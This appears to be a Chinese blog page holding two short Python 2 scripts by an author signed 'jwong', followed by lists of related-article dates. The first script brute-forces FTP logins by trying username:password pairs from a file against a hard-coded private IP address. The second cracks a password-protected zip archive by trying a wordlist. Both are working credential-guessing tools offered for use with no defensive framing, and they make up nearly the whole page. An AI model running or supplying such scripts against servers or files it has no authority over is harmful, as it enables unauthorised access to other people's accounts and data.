#coding:utf-8
#author:jwong

import ftplib

def bruteLogin(hostname,passwordFile):
	with open(passwordFile,'r') as f:
		for line in f.readlines():
			username = line.split(':')[0]
			password = line.split(':')[1].strip('\r').strip('\n')
			print "[+] Trying:" + username + "/" + password
			try:
				ftp = ftplib.FTP(hostname)
				ftp.login(username,password)
				print 'login success'
				ftp.quit()
				return (username,password)

			except Exception, e:
				pass
		print 'could not brute force FTP credentials'
		return (None,None)

if __name__ == '__main__':
	host = '192.168.21.104'
	passwordFile = 'userpass.txt'
	bruteLogin(host,passwordFile)

 爆破zip脚本:

#coding:utf-8
#author:jwong

import zipfile

filename = 'master.zip'
with open('password.txt','r') as f:
	zf = zipfile.ZipFile(filename)
	for line in f.readlines():
		line = line.strip()
		try:
			zf.extractall("./sample",pwd=line)
			print "crack password is %s" % line
			exit(0)

		except Exception, e:
			pass
			

  

相关文章:

  • 2021-08-05
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-22
  • 2021-08-31
  • 2022-12-23
猜你喜欢
  • 2021-08-02
  • 2022-12-23
  • 2021-10-13
  • 2022-12-23
  • 2022-01-26
  • 2022-12-23
相关资源
相似解决方案